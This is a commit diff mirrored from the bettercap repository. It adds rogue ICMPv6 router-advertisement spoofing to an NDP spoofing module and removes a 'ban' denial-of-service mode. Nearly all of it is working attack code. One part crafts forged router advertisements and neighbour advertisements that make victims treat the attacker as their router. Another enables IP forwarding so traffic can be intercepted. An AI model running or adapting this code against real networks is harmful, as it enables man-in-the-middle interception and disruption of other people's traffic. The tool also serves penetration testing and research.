mirror of
https://github.com/bettercap/bettercap
synced 2025-08-20 13:33:21 -07:00
new: implemented icmpv6 rogue router advertisement
This commit is contained in:
parent
c1520206a5
commit
a6d5d5d048
2 changed files with 120 additions and 47 deletions
|
@ -13,17 +13,17 @@ import (
|
||||||
|
|
||||||
type NDPSpoofer struct {
|
type NDPSpoofer struct {
|
||||||
session.SessionModule
|
session.SessionModule
|
||||||
neighbour net.IP
|
neighbour net.IP
|
||||||
addresses []net.IP
|
prefix string
|
||||||
ban bool
|
prefixLength int
|
||||||
waitGroup *sync.WaitGroup
|
addresses []net.IP
|
||||||
|
waitGroup *sync.WaitGroup
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
|
func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
|
||||||
mod := &NDPSpoofer{
|
mod := &NDPSpoofer{
|
||||||
SessionModule: session.NewSessionModule("ndp.spoof", s),
|
SessionModule: session.NewSessionModule("ndp.spoof", s),
|
||||||
addresses: make([]net.IP, 0),
|
addresses: make([]net.IP, 0),
|
||||||
ban: false,
|
|
||||||
waitGroup: &sync.WaitGroup{},
|
waitGroup: &sync.WaitGroup{},
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -32,7 +32,14 @@ func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
|
||||||
mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 addresses, "+
|
mod.AddParam(session.NewStringParameter("ndp.spoof.targets", "", "", "Comma separated list of IPv6 addresses, "+
|
||||||
"MAC addresses or aliases to spoof."))
|
"MAC addresses or aliases to spoof."))
|
||||||
|
|
||||||
mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", "", "Neighbour IPv6 address to spoof."))
|
mod.AddParam(session.NewStringParameter("ndp.spoof.neighbour", "fe80::1", "",
|
||||||
|
"Neighbour IPv6 address to spoof, clear to disable NA."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewStringParameter("ndp.spoof.prefix", "d00d::", "",
|
||||||
|
"IPv6 prefix for router advertisements spoofing, clear to disable RA."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewIntParameter("ndp.spoof.prefix.length", "64",
|
||||||
|
"IPv6 prefix length for router advertisements."))
|
||||||
|
|
||||||
mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "",
|
mod.AddHandler(session.NewModuleHandler("ndp.spoof on", "",
|
||||||
"Start NDP spoofer.",
|
"Start NDP spoofer.",
|
||||||
|
@ -40,13 +47,6 @@ func NewNDPSpoofer(s *session.Session) *NDPSpoofer {
|
||||||
return mod.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
mod.AddHandler(session.NewModuleHandler("ndp.ban on", "",
|
|
||||||
"Start NDP spoofer in ban mode, meaning the target(s) connectivity will not work.",
|
|
||||||
func(args []string) error {
|
|
||||||
mod.ban = true
|
|
||||||
return mod.Start()
|
|
||||||
}))
|
|
||||||
|
|
||||||
mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "",
|
mod.AddHandler(session.NewModuleHandler("ndp.spoof off", "",
|
||||||
"Stop NDP spoofer.",
|
"Stop NDP spoofer.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
|
@ -78,29 +78,39 @@ func (mod *NDPSpoofer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
var neigh, targets string
|
var neigh, targets string
|
||||||
|
|
||||||
if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil {
|
if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil {
|
||||||
return err
|
|
||||||
} else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil {
|
|
||||||
return fmt.Errorf("can't parse neighbour address %s", neigh)
|
|
||||||
} else if err, targets = mod.StringParam("ndp.spoof.targets"); err != nil {
|
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
mod.addresses = make([]net.IP, 0)
|
if targets == "" {
|
||||||
for _, addr := range str.Comma(targets) {
|
mod.neighbour = nil
|
||||||
if ip := net.ParseIP(addr); ip != nil {
|
mod.addresses = nil
|
||||||
mod.addresses = append(mod.addresses, ip)
|
} else {
|
||||||
} else {
|
if err, neigh = mod.StringParam("ndp.spoof.neighbour"); err != nil {
|
||||||
return fmt.Errorf("can't parse ip %s", addr)
|
return err
|
||||||
|
} else if mod.neighbour = net.ParseIP(neigh); mod.neighbour == nil {
|
||||||
|
return fmt.Errorf("can't parse neighbour address %s", neigh)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
mod.addresses = make([]net.IP, 0)
|
||||||
|
for _, addr := range str.Comma(targets) {
|
||||||
|
if ip := net.ParseIP(addr); ip != nil {
|
||||||
|
mod.addresses = append(mod.addresses, ip)
|
||||||
|
} else {
|
||||||
|
return fmt.Errorf("can't parse ip %s", addr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.Debug(" addresses=%v", mod.addresses)
|
||||||
}
|
}
|
||||||
|
|
||||||
mod.Debug(" addresses=%v", mod.addresses)
|
if err, mod.prefix = mod.StringParam("ndp.spoof.prefix"); err != nil {
|
||||||
|
return err
|
||||||
|
} else if err, mod.prefixLength = mod.IntParam("ndp.spoof.prefix.length"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
if mod.ban {
|
if !mod.Session.Firewall.IsForwardingEnabled() {
|
||||||
mod.Warning("running in ban mode, forwarding not enabled!")
|
|
||||||
mod.Session.Firewall.EnableForwarding(false)
|
|
||||||
} else if !mod.Session.Firewall.IsForwardingEnabled() {
|
|
||||||
mod.Info("enabling forwarding")
|
mod.Info("enabling forwarding")
|
||||||
mod.Session.Firewall.EnableForwarding(true)
|
mod.Session.Firewall.EnableForwarding(true)
|
||||||
}
|
}
|
||||||
|
@ -113,31 +123,42 @@ func (mod *NDPSpoofer) Start() error {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
nTargets := len(mod.addresses)
|
if mod.neighbour == nil && mod.prefix == "" {
|
||||||
if nTargets == 0 {
|
return fmt.Errorf("please set a target or a prefix")
|
||||||
mod.Warning("list of targets is empty, module not starting.")
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return mod.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
mod.Info("ndp spoofer started, probing %d targets.", nTargets)
|
mod.Info("ndp spoofer started - neighbour=%s prefix=%s", mod.neighbour, mod.prefix)
|
||||||
|
|
||||||
mod.waitGroup.Add(1)
|
mod.waitGroup.Add(1)
|
||||||
defer mod.waitGroup.Done()
|
defer mod.waitGroup.Done()
|
||||||
|
|
||||||
for mod.Running() {
|
for mod.Running() {
|
||||||
for victimAddr, victimHW := range mod.getTargets(true) {
|
if mod.prefix != "" {
|
||||||
victimIP := net.ParseIP(victimAddr)
|
mod.Debug("sending router advertisement for prefix %s(%d)", mod.prefix, mod.prefixLength)
|
||||||
|
err, ra := packets.ICMP6RouterAdvertisement(mod.Session.Interface.IPv6, mod.Session.Interface.HW,
|
||||||
|
mod.prefix, uint8(mod.prefixLength))
|
||||||
|
if err != nil {
|
||||||
|
mod.Error("error creating ra packet: %v", err)
|
||||||
|
} else if err = mod.Session.Queue.Send(ra); err != nil {
|
||||||
|
mod.Error("error while sending ra packet: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
mod.Debug("we're saying to %s(%s) that %s is us(%s)",
|
if mod.neighbour != nil {
|
||||||
victimIP, victimHW,
|
for victimAddr, victimHW := range mod.getTargets(true) {
|
||||||
mod.neighbour,
|
victimIP := net.ParseIP(victimAddr)
|
||||||
mod.Session.Interface.HW)
|
|
||||||
|
|
||||||
if err, packet := packets.ICMP6RouterAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil {
|
mod.Debug("we're saying to %s(%s) that %s is us(%s)",
|
||||||
mod.Error("error creating packet: %v", err)
|
victimIP, victimHW,
|
||||||
} else if err = mod.Session.Queue.Send(packet); err != nil {
|
mod.neighbour,
|
||||||
mod.Error("error while sending packet: %v", err)
|
mod.Session.Interface.HW)
|
||||||
|
|
||||||
|
if err, packet := packets.ICMP6NeighborAdvertisement(mod.Session.Interface.HW, mod.neighbour, victimHW, victimIP, mod.neighbour); err != nil {
|
||||||
|
mod.Error("error creating na packet: %v", err)
|
||||||
|
} else if err = mod.Session.Queue.Send(packet); err != nil {
|
||||||
|
mod.Error("error while sending na packet: %v", err)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -149,7 +170,6 @@ func (mod *NDPSpoofer) Start() error {
|
||||||
func (mod *NDPSpoofer) Stop() error {
|
func (mod *NDPSpoofer) Stop() error {
|
||||||
return mod.SetRunning(false, func() {
|
return mod.SetRunning(false, func() {
|
||||||
mod.Info("waiting for NDP spoofer to stop ...")
|
mod.Info("waiting for NDP spoofer to stop ...")
|
||||||
mod.ban = false
|
|
||||||
mod.waitGroup.Wait()
|
mod.waitGroup.Wait()
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
|
@ -5,7 +5,7 @@ import (
|
||||||
"net"
|
"net"
|
||||||
)
|
)
|
||||||
|
|
||||||
func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) {
|
func ICMP6NeighborAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) {
|
||||||
eth := layers.Ethernet{
|
eth := layers.Ethernet{
|
||||||
SrcMAC: srcHW,
|
SrcMAC: srcHW,
|
||||||
DstMAC: dstHW,
|
DstMAC: dstHW,
|
||||||
|
@ -23,7 +23,7 @@ func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.Ha
|
||||||
TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8,
|
TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8,
|
||||||
}
|
}
|
||||||
adv := layers.ICMPv6NeighborAdvertisement{
|
adv := layers.ICMPv6NeighborAdvertisement{
|
||||||
Flags: 0x20 | 0x40, // solicited && override
|
Flags: 0x20 | 0x40, // solicited && override
|
||||||
TargetAddress: routerIP,
|
TargetAddress: routerIP,
|
||||||
Options: []layers.ICMPv6Option{
|
Options: []layers.ICMPv6Option{
|
||||||
{
|
{
|
||||||
|
@ -36,3 +36,56 @@ func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.Ha
|
||||||
|
|
||||||
return Serialize(ð, &ip6, &icmp6, &adv)
|
return Serialize(ð, &ip6, &icmp6, &adv)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
var macIpv6Multicast = net.HardwareAddr([]byte{0x33, 0x33, 0x00, 0x00, 0x00, 0x01})
|
||||||
|
var ipv6Multicast = net.ParseIP("ff02::1")
|
||||||
|
|
||||||
|
func ICMP6RouterAdvertisement(ip net.IP, hw net.HardwareAddr, prefix string, prefixLength uint8) (error, []byte) {
|
||||||
|
eth := layers.Ethernet{
|
||||||
|
SrcMAC: hw,
|
||||||
|
DstMAC: macIpv6Multicast,
|
||||||
|
EthernetType: layers.EthernetTypeIPv6,
|
||||||
|
}
|
||||||
|
ip6 := layers.IPv6{
|
||||||
|
NextHeader: layers.IPProtocolICMPv6,
|
||||||
|
TrafficClass: 224,
|
||||||
|
Version: 6,
|
||||||
|
HopLimit: 255,
|
||||||
|
SrcIP: ip,
|
||||||
|
DstIP: ipv6Multicast,
|
||||||
|
}
|
||||||
|
icmp6 := layers.ICMPv6{
|
||||||
|
TypeCode: layers.ICMPv6TypeRouterAdvertisement << 8,
|
||||||
|
}
|
||||||
|
prefixData := []byte{
|
||||||
|
prefixLength,
|
||||||
|
0x0c, // flags
|
||||||
|
0x00, 0x27, 0x8d, 0x00, // valid lifetime (2592000)
|
||||||
|
0x00, 0x09, 0x3a, 0x80, // preferred lifetime (604800)
|
||||||
|
0x00, 0x00, 0x00, 0x00, // reserved
|
||||||
|
}
|
||||||
|
prefixData = append(prefixData, []byte(net.ParseIP(prefix))...)
|
||||||
|
|
||||||
|
adv := layers.ICMPv6RouterAdvertisement{
|
||||||
|
HopLimit: 255,
|
||||||
|
Flags: 0x08, // prf
|
||||||
|
RouterLifetime: 1800,
|
||||||
|
Options: []layers.ICMPv6Option{
|
||||||
|
{
|
||||||
|
Type: layers.ICMPv6OptSourceAddress,
|
||||||
|
Data: hw,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Type: layers.ICMPv6OptMTU,
|
||||||
|
Data: []byte{0x00, 0x00, 0x00, 0x00, 0x05, 0xdc}, // 1500
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Type: layers.ICMPv6OptPrefixInfo,
|
||||||
|
Data: prefixData,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
icmp6.SetNetworkLayerForChecksum(&ip6)
|
||||||
|
|
||||||
|
return Serialize(ð, &ip6, &icmp6, &adv)
|
||||||
|
}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue